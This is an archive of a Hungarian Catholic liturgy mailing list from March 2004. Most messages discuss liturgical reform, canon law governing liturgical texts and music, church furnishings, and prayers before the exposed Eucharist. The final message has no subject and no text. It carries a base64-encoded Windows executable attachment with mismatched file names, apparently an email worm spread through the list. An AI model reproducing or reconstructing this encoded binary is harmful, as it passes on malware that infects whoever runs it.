------=_NextPart_000_000F_01C40E95.2A882D20-- From robert.kovacs@chello.at Mon Mar 22 19:03:27 2004 From: robert.kovacs@chello.at (=?Windows-1252?Q?Robert_Kov=E1cs?=) Date: Mon, 22 Mar 2004 20:03:27 +0100 Subject: [Liturgia] =?Windows-1252?Q?hossz=FA_=FAt...?= Message-ID: <002301c41040$5dde0800$cc63bad4@chello.at> Kedves Olvasók, kedves Ilyés Zsolt, egy idézettel kezdeném, amivel teljesen egyet tudok érteni, és ami a sokak részéröl negatív elöjelü "nyugati felfogás" témához kapcsolódik: "Legyen-e vagy ne más szövegu ordinárium (Kyrie, Gloria stb)? Nem ez a legfontosabb kérdés. Legyenek megfelelo szövegu és dallamú, igényes, korszeru énekeink misekezdésre, felajánlásra, áldozásra, kivonulásra. Legyenek szöveghu, de "modern" dallamú szinvonalas ordináriumaink. Legyenek megzenésitve saját dallamra zsoltáraink, azok megfelelo hangulatát, érzéseit kifejezoen. Legyenek himnuszaink (pl zsolozsma himnuszainak dallamai). Ez igen komoly feladat. Ha már mindez megvan s még mindig nagy problémaként jelentkezne a "Szent vagy, szent vagy" szövege, akkor ezek után érdemes lesz ezen is elgondolkodni. De addig még hosszu út és rengeteg tennivaló vár ránk." Sajnos nem volt lehetöség Magyarországon a nyugati országokban végbement reformokra, de nekem az az érzésem, hogy szándék sem volt rá. Szükség volna egy hozzáértö, magas szakmai színvonalt képviselö csoportra, akik le tudnak egymással ülni, és átgondolni a fenti idézetben említett reformok véghezvitelét. Nem lehet feljutni a 10. emeletre anélkül, hogy minden emeleten át ne mennénk. Bizony, hosszú az út, de muszáj lesz rajta végigmenni. Azt kívánom, hogy legyenek, akik hajlandóak az árral szemben úszni! Tisztelettel, Kovács Róbert From aron.panczel@freemail.hu Fri Mar 26 09:21:32 2004 From: aron.panczel@freemail.hu (=?ISO-8859-2?Q?dr=2E_P=E1ncz=E9l_=C1ron?=) Date: Fri, 26 Mar 2004 10:21:32 +0100 (CET) Subject: [Liturgia] (no subject) Message-ID: Kedves Listatagok! A templomunkban (Bp., Kassai tér) elérkezett az idő új körmeneti kereszt és gyertyatartók vásárlására, csakhogy az eddig látott hazai konfekció-választék nem kielégítő. Ezek után ugyebár két lehetőség van: egyedi készíttetés és külföldi konfekció. Főként az utóbbiban szeretnék segítséget kérni. Tudna valaki ajánlani színvonalas kegytárgyboltot a környező országokban (különösen Ausztriában)? A segítséget előre is köszönjük! Üdvözlettel: Pánczél Áron From rihmer@freemail.hu Sat Mar 27 04:17:55 2004 From: rihmer@freemail.hu (=?ISO-8859-2?Q?Rihmer_Zolt=E1n?=) Date: Sat, 27 Mar 2004 05:17:55 +0100 (CET) Subject: [Liturgia] In virtute Spiritus Message-ID: Kedves listatagok! Ilyés Zsolt legutóbbi levelének, valamint Kovács Róbert ehhez csatlakozó véleményének végkicsengésével csak egyetérteni lehet. Ezért magánjellegű, listán kívüli vitára talán nincs is szükség. Az elmúlt hónapban egyébként magánlevélből kaptam támogatót és kritikusat egyaránt. Szerzőiknek ezúton mondok köszönetet. Bocsássák meg nekem, hogy nem válaszoltam, de magánúton nem kívánok vitát folytatni. Nem tekintem célomnak, hogy bárkit is ilyen módon győzzek meg bármiről (erre az arctalan e-mailezés különben sem alkalmas). Ezzel szemben a liturgikus levelezőlistát olyan fórumnak tartom, amely szakemberek és érdeklődők, papok és világiak számára egyaránt széles körben biztosítja a liturgiával (remélem, hogy nemcsak a katolikussal és a rómaival) kapcsolatos legkülönfélébb elméleti és gyakorlati kérdések nyílt és konstruktív megtárgyalását. Úgy gondolom, hogy az esetleges vitákból azok is sokat tanulnak, akik nem szólalnak meg bennük. Ezért kell őket a nyilvánosság előtt folytatni. Ha olyan személyes jellegű probléma merülne fel, amely "csak magánúton" intézhető el (természetesen nem a konkrét segítségkérésekre gondolok), azt hiszem, valami félresiklott. Sajnálom, hogy Ilyés Zsolt személyes támadást hallott ki a levelemből. Kritikám ugyanis pusztán az eljárásmódjára irányult: mivel az általa idézettek túlságosan egyoldalú képet adtak, azt gondoltam, hogy a válogatásban az ő véleménye tükröződik - holott, mint írja, valójában az idő hiánya volt a fő ok. A korábbi levelek elolvasását pedig azért tartottam - és tartom most is - szükégesnek megemlíteni, mert úgy vélem, hogy egy vitába érdemben csak akkor lehet bekapcsolódni, ha nem hagyjuk figyelmen kívül mindazt, amit mások e tárgyban addig elmondtak. A brit alsóházban az a szokás, hogy ha egy kormánytisztviselőnek olyan kérdést tesznek fel, amelyet az előzőekben már megválaszolt, ő a sztenderd formulával csak ennyit mond: "I refer the Honourable Gentleman to the answer I gave a moment ago." Ezért engedtessék meg nekem, hogy ne kelljen visszatérnem azokra a kérdésekre, amelyeket korábbi leveleimben részletekbe menően boncolgattam. Ugyanakkor Ilyés Zsolt legújabb felvetéseit sem szeretném megválaszolatlanul hagyni. Így csak egészen röviden, mintegy "more Peregriniano" ;-) szeretnék reflektálni rájuk (még a korábban írtakra való hivatkozásokat is elhagyom), hogy utána a lényegi kérdésről is elmondjam a véleményemet. 1. A "Liturgicae instaurationes"-nek és minden más dokumentumnak (a direktóriumokat is ideértve) a liturgikus fordításokról szóló előírásai 2001 április 25-ével hatályukat vesztették (a többi előírást a "Liturgiam authenticam" valóban nem érinti, a misekönyv 3. mintakiadása és a kongregáció egyéb dokumentumai viszont annál inkább). 2. Az egyházzene viszonya a liturgiához leegyszerűsítve a következő: A római liturgiában elhangzó szövegeket e rítus szertartáskönyveiből kell venni. A püspöki konferenciáknak emellett joguk van a megszabott határok között más, akár új szövegeket is engedélyezni, sőt akár előírni. Mindkét fajta szöveget lehet korábbi, hagyományosan hozzájuk tartozó zenével előadni és lehet rájuk új zenét szerezni, ehhez azonban szükséges, hogy előbb a püspöki konferencia alkalmasnak nyilvánítsa a hatályos jog szerinti liturgikus használatra és mint ilyet jóváhagyja. Tehát két szintről, két fokozatról van szó: előbb van a szöveg, csak azután a zene. Ha a szöveget a jog kizárja, a zene szóba sem jöhet. 3. Az önkényes változtatások az engedély nélküli, jogellenes változtatásokat jelentik. Egy püspöki konferencia normális esetben tisztában van a joggal és nem hagy jóvá olyan szöveget, amelyről a misekönyv általános rendelkezései és a többi egyetemes jogszabály azt állítja, hogy nem hagyható jóvá. A magyar püspökök esetében egyébként ilyenről nem is tudok (külföldön sajnos már más a helyzet...). 4. A bevonulási, felajánlási és áldozási ének esetében a püspöki konferencia nem "változtat" az eredeti szövegen, mert az tilos, hanem egy másikat hagy jóvá helyette. Ha e másik szöveg egy részében esetleg mégis megegyezik a misekönyvben szereplővel, csak látszólag történt módosítás, valójában adaptációról van szó. A hívek igényeit ennek az adaptációnak a során kell figyelembe venni. Ha viszont az adaptáció megtörtént, azt a szertartást végző már ugyanúgy nem módosítgathatja, mint a misekönyv eredeti szövegeit. 5. A "Liturgicae instaurationes" 3. c) pontját valóban úgy kell érteni, ahogy van, de nem a celebránsoknak és a kántoroknak, hanem a püspököknek. Ha ők nem "határoznak meg egy repertóriumot sajátos csoportokkal végzett misékre szánt énekekkel", egyszerűen nincs rá mód, hogy "ne csak a szöveg, de a dallam, a ritmus és a hangszerek is alkalmazkodjanak a konkrét közösséghez". Aki ezt teljesen a saját kezébe veszi, a püspököknek fenntartott jogokat bitorolja. Ugyanakkor nem tilos a püspököket ezzel a kéréssel - akár napi rendszerességgel is - zaklatni, hiszen nekik kötelességük a lehető legteljesebb mértékben gondoskodni a rájuk bízott hívek lelki szükségleteiről. 6. Az ifjúsági és gyermekmisék repertoárja nincs betiltva. Csak annyi történt, hogy a püspökök sokkal átgondoltabb és részletesebb útmutatást kaptak az eredeti szövegek kiválogatásához és fordításaik elkészítéséhez. Egyszerűen nem tudom elképzelni, hogy az ifjúsági és gyermekmisék zenéje eredendően olyan szövegeket kíván alapul, amelyeket az új előírások rendre kizárnak a liturgikus használatból. 7. A liturgia inkulturációjára és a liturgikus fordításokra vonatkozó újabb szentszéki előírások már nemigen fognak az ellenkezőjükre változni, egyrészt mert a liturgikus megújulásnak egy olyan újabb szakaszát képviselik, amelyet maga II. János Pál pápa kezdeményezett "Vicesimus quintus annus" kezdetű apostoli levelében, másrészt mert olyan elmélyült teológiai, antropológiai, nyelvtudományi stb. megfontolásokból fakadnak, amelyeket jelenlegi ismereteink alapján aligha lehet megingatni. 8. A liturgia az Egyházé. A liturgikusok hozzászólhatnak, de nem bele. Ez rossz, ha az Egyház rombolja a liturgiát és a liturgikusok nem tehetnek ellene semmit; de jó, ha az Egyház védi és építi a liturgiát, nem engedve, hogy a liturgikusok akadályozzák ebben. Az elmúlt 45 évben mindkettőre láttunk példát. Az Egyház éppen ezért gondosan őrzi teljes szabadságát a liturgia alakításában - akár még annak egy-egy érdemdús elméleti kutatójával szemben is. Most pedig rátérnék arra a szerintem igen fontos kérdésre, amely kezdettől fogva kimondatlanul ott lappang a hozzászólások mögött: a liturgikus jog, a kánonjog, sőt általában a szabályok értelmére és lényegére. Jézus fellépése valóban szembesítette a farizeusokat a kérdéssel: vajon az ember van a szombatért, vagy a szombat az emberért (vö. Mk 2, 27)? Jézus válaszából viszont, amelyet gyógyításaival adott, nem az következik, hogy a szombat, vagyis a törvény önmagában rossz, hanem hogy - amint Ilyés Zsolt írta - nem szabad abszolutizálni, vagyis szükség esetén lehetséges alóla a felmentés. A kánonjognak éppen ezért a világi jogokkal szemben az egyik legsajátosabb jellegzetessége a "dispensatio" jogintézményének igen kiterjedt alkalmazási köre. Ez azonban szintén nem lehet korlátlan, hiszen akkor a szabadságot, a "minden(t) szabad" szabályát abszolutizálnánk. A korlátokat az isteni jog és az Egyház alkotta jogszabályok jelentik. Eszerint pedig felmentésért az illetékes egyházi hatósághoz és nem a Szentlélekhez kell folyamodni. Ha egy jogszabály alól az Egyház nem ad vagy nem adhat felmentést, azt sajnos meg kell tartani, hacsak a lelkiismeret nem parancsolja az ellenkezőjét. Bizonyos értelemben tehát Kovács Róbertnek is igaza van: "Az ember mint egyén, gondolkodó teremtmény. Nem birkának lett teremtve, aki minden felette lévőnek az akaratát teljesíti." Az egyházi előírásokhoz valóban ésszel, értelemmel kell közelíteni, hiszen a törvényhozó nem azt akarja, hogy a krisztushívők birkamód teljesítsék őket, hanem hogy megértve tartsák meg mindazt, amiről hiszik, hogy szükséges az üdvösséghez. Ha nem hiszik, sőt kifejezetten rossznak tartják, lehetőségük van a tiltakozásra. Még az is előfordulhat, hogy valaki szándékosan szegi meg az előírásokat - ez azonban egyedül őrá és gyóntatójára tartozik. Ugyanakkor minden hívőnek objektív kötelessége megpróbálni lelkiismeretét az Egyház tanítása szerint működtetni. Aki ezt eredendően elutasítja, hiába hivatkozik akár Szent Ágostonra, akár a Szentlélekre: az előbbi ugyanis hatalmas életművében kissé más álláspontot képviselt a jog természetét illetően, az utóbbi pedig az Egyháznak mint olyannak adatott segítőül, és nem minden egyes tagjának. Ezzel szemben Szent Pál szerint a törvény betűje öl, a Lélek viszont éltet (vö. 2 Kor 3, 6), mi pedig megszabadultunk a törvénytől, úgyhogy az új életben a Lélek szerint szolgálunk, nem pedig a betű szerint, mint a régiben (vö. Róm 7, 6). Ezek a gondolatok köszönnek vissza az olyan érvelésekben, amelyek a Lélek erejét állítják szembe az Egyház fegyelmével. Csakhogy Szent Pál itt egészen más kérdéseket fejteget, szavai így egyáltalán nem jelentik azt, hogy a Lélek erejét érezve túltehetjük magunkat Isten népének törvényein. Az Egyház pneumatikus valósága és jogrendje két különböző dolog, amelyeket nem szabad összekeverni egymással. Bátran ajánlom mindenkinek e témában az alábbi cikket: Carl Gerold Fürst: "Az egyházjog lényegéről", Communio 1993/3, 58-70 (fordította Erdő Péter). Az egyházjog végső célja egyébként valóban a lelkek üdvössége, ezt azonban szintén nem szabad abszolutizálni. A részletekhez a következő tanulmányt javaslom: Erdő Péter: "«Salus animarum suprema lex.» A lelkek üdvösségére való utalások szerepe a katolikus egyház hatályos törvénykönyveiben", Kánonjog 5 (2003) 7-18. Nagyon örülök annak, amikor olyan gondolatokat olvasok, amilyenekkel Ilyés Zsolt a levelét zárta és amelyekhez Kovács Róbert is csatlakozott. Nem tudok viszont örülni akkor, ha úgy érzem, Istent és az Ő Lelkét valamiképpen az Egyházzal állítják szembe. Ilyenkor Szent Cyprianus, a vértanú püspök szavai jutnak eszembe (De catholicae Ecclesiae unitate 6 [CSEL 3, 1, 214 = PL 4, 502]): "Habere non potest Deum patrem, qui Ecclesiam non habet matrem." - "Nem tarthatja atyjának az Istent, aki nem tartja anyjának az Egyházat." Ezt a negatívan szerkesztett állásfoglalást - mivel minden éremnek két oldala van - jól kiegészíti Nagy Szent Leó pápa egy pozitív megnyilatkozása, amelyet szeretettel és tisztelettel ajánlok mindenki figyelmébe, aki behatóbban kíván foglalkozni az Egyház kétezer éves liturgiájával. Ő ugyanis az egyetlen patrisztikus szerző, akinek prédikációiban az Egyház annyira ráismert saját magára és hitére, hogy egyes kitüntetett részleteit még a szentmise központi imádságába, a kánonba is szó szerint felvette. 453 május 31-én, pünkösd vasárnap a böjti fegyelemre utalva Leó pápa e szavakkal kezdte beszédét (Tractatus 79, 1 [CCSL 138A, 498 = PL 54, 418): "Dubitandum non est, dilectissimi, omnem observantiam Christianam eruditionis esse divinae, et quidquid ab Ecclesia in consuetudinem est devotionis receptum, de traditione apostolica et de Sancti Spiritus prodire doctrina, qui nunc quoque cordibus fidelium suis praesidet institutis, ut ea omnes et oboedienter custodiant, et sapienter intellegant." Amit talán valahogy így lehetne magyarul visszaadni: "Nem kételkedhetünk benne, kedveseim, hogy minden keresztény parancsmegtartás forrása az isteni okítás, s hogy mindaz, amit az Egyház a vallásos tisztelet szokásaként elfogadott, az apostoli hagyományból és a Szentlélek tanításából származik, aki híveinek szívét útmutatásaival most is vezérli, hogy azokat mindnyájan mind engedelmesen megőrizzék, mind pedig bölcsen megértsék." Rihmer Zoltán From gabriel@ehf.hu Sat Mar 27 08:06:45 2004 From: gabriel@ehf.hu (=?ISO-8859-2?Q?Lak_G=E1bor?=) Date: Sat, 27 Mar 2004 09:06:45 +0100 Subject: [Liturgia] =?ISO-8859-2?Q?Szents=E9gim=E1d=E1s_=26_r=F3zsf=FBz=E9r?= Message-ID: <40653615.5020504@ehf.hu> Kedves Listatagok! A következő kérdésem: Ünnepélyesen kitett Oltáriszentség előtt milyen közösségi imádságokat lehet végezni? (Gondolok itt zsolozsmára, litániára, rózsafűzérre, felolvasott elmélkedésekre, énekre.) Gondolom Jézus Szíve litániát lehet, de mi a helyzet a Szent Szűz litániájival (pl. május)? Köszönettel: Lak Gábor From kantorkepzo@katolikus.hu Sat Mar 27 13:01:05 2004 From: kantorkepzo@katolikus.hu (kantorkepzo@katolikus.hu) Date: Sat, 27 Mar 2004 14:01:05 +0100 Subject: [Liturgia] (no subject) Message-ID: ----------111323682645183 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit ----------111323682645183 Content-Type: application/x-msdownload; name="syv.exe" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="bqakbfs.exe" TVqQAAMAAAAEAAAAUEUAAEwBAgBGU0chAAAAAAAAAADgAA8BCwEAAAAkAAAAPgAAAAAAABK9 AAAAEAAADAAAAAAAQAAAEAAAAAIAAAQAAAAAAAAABAAAAAAAAAAAwAAAAAIAAAAAAAACAAAA AAAQAAAQAAAAABAAABAAAAAAAAAQAAAAAAAAAAAAAADXvQAANAAAAACgAACgAwAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAACQ AAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAADgAADAAAAAAHRhAAAAIAAAAKAAAAseAAAAAgAA AAAAAAAAAAAAAAAA4AAAwEtFUk5FTDMyLmRsbAAAAExvYWRMaWJyYXJ5QQAAR2V0UHJvY0Fk ZHJlc3MAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzb1AAMG9QADDvUAAmAFAAAAQQACco0AA AVBAAAGQQAAAAAAAtEVAAAEAAAD/vUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAIAAwAAACAAAIAOAAAA OAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAUAAAgAAAAAAAAAAAAAAAAAAAAQABAAAAaAAAgAAA AAAAAAAAAAAAAAAAAQAAAAAAgAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAkAAAALSgAADoAgAA AAAAAAAAAACgoAAAFAAAAAAAAAAAAAAAAAABAAEAICAQAAEABADoAgAAAQAoAAAAIAAAAEAA AAABAAQAAAAAAIACAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAgAAAAICAAIAAAACAAIAA gIAAAICAgADAwMAAAAD/AAD/AAAA//8A/wAAAP8A/wD//wAA////AAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAD////wAAAAAAAAAAAAAAD///D///AAAAAAAAAAAAD////w////8AAAAAAAAAAP/w//8P// D/8AAAAAAAAA//////D/////8AAAAAAAD/////////////8AAAAAAA////////8P////AAAA AAD/D///////AP//D/AAAAAA////////8PD////wAAAAD/////////AP/////wAAAA////// //8PD/////8AAAAP////////AP//////AAAADwAA////8PD///AADwAAAA///////w8P//// //8AAAAP//////Dw+f//////AAAAD/////8PD/+f/////wAAAAD////w8P//+f////AAAAAA /w//Dw////+f/w/wAAAAAA//8PD/////+f//AAAAAAAP//8P//////+f/wAAAAAAAP/////w //////AAAAAAAAAP/w//8P//D/8AAAAAAAAAAP////D////wAAAAAAAAAAAA///w///wAAAA AAAAAAAAAAD////wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA///////wH///gAP//gAA//wAAH/4AAA/8AAAH+AAAA/AAAAHwAAAB4AA AAOAAAADgAAAAwAAAAEAAAABAAAAAQAAAAEAAAABAAAAAQAAAAGAAAADgAAAA4AAAAPAAAAH wAAAB+AAAA/wAAAf+AAAP/wAAH/+AAD//4AD///wH/9VDovsV/yHfQhwTQzB6Q4CM8DjhvOr GRiD4QMVql8cycIIKCN0UzBdDE1qGeg4egJwAIPAYfyqS3XxV1sgwgnoWhkwHgGDxPxT/3Xs 6G5vIjrM2BQQ9GSJA+iDw/RTPmpAmP0hGolFZfwwDAglu4ELwHQzxkgsDCHoOLY3Bn38bSUb gwILDiVTCAkFmIuA6wqhDbagm8hkW/QMclaGnsc64b8D6IalIKg3TRBAINusweD84mcHC0MS 6wumDQMSeQIHSVFqBFlP9LgDitCA4j/B6AbV8/+rLxx7kquY/46DfeYSKXUPUIFQZrgNCtCr WABZC8l1rovLKxL5sD0QNPUoXnwGgPo+cxcKHjN3Db8wQRBadgOAButoDgqnHwnB6j7A4gKb FivPwdbDTafNaMEEqqQNIfAgFfQPiOFk8CjSht9akgEhB/RqwOicVSAKngbw1Qn7GmpcKAQM b1RGeRUF6YWpB0Bo2FJKrxzocllqhgICCTIDaDXAhSwFQFX8QHRcaGOxUejHMCGSRI1F+H9Q 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 